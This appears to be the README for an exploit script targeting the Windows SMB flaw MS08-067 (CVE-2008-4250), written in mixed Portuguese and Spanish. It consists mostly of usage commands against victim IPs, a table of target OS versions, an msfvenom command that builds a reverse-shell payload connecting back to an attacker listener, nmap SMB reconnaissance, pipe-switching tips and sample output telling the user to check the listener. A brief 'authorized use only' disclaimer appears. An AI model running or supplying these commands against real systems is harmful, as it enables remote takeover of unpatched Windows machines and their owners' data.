
MS08-067 | CVE-2008-4250
python3 Exploit_MS08-067.py <IP_VÍCTIMA> <VERSIÓN_OS> [OPCIONES]
python3 Exploit_MS08-067.py 192.168.1.100 1
python3 Exploit_MS08-067.py 192.168.1.150 4 -p 139
python3 Exploit_MS08-067.py 192.168.1.200 6 -s /ruta/mishellcode.bin
| Parâmetro | Descrição | Valores Válidos |
|---|---|---|
IP_VÍCTIMA | IP do alvo | Qualquer IPv4 |
VERSIÓN_OS | Versão do SO vulnerável | 1-7 (ver tabela) |
| Valor | Sistema Operativo | Arquitetura |
|---|---|---|
| 1 | Windows XP SP0/SP1 Universal | x86 |
| 2 | Windows 2000 Universal | x86 |
| ... | ... | ... |
| Opção | Descrição | Padrão |
|---|---|---|
-p/--port | Porta SMB (445/139) | 445 |
-t/--timeout | Timeout em segundos | 5 |
-s/--shellcode | Caminho para shellcode personalizado | None |
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.201 LPORT=4484 \
EXITFUNC=thread -b "\x00\x0a\x0d\x5c\x5f\x2f\x2e\x40" -f py -v shellcode \
-a x86 --platform windows
nmap -p 139,445 --script smb-os-discovery <IP_VÍCTIMA>
STATUS_OBJECT_NAME_NOT_FOUNDVerifique se o serviço Browser está ativo:
nmap -p 445 --script smb-enum-shares <IP>
Teste com outro pipe (modifique o script):
# Cambiar \\pipe\\browser por \\pipe\\srvsvc
\x00\x0a\x0d\x5c\x5f\x2f\x2e\x40 msfvenom -p windows/exec CMD="calc.exe" -f raw | xxd | grep -E "00|0a|0d|5c|5f|2f|2e|40"
✅ Usar apenas em ambientes autorizados
❌ Nunca em sistemas de produção sem permissão
[*] Targeting 192.168.1.100 | OS: 1 | Port: 445
[+] Connected to 192.168.1.100 on port 445
[*] Sending exploit...
[+] Exploit finished - Check your listener!
⚠️ Nota: Este exploit não funciona em sistemas corrigidos com o boletim MS08-067.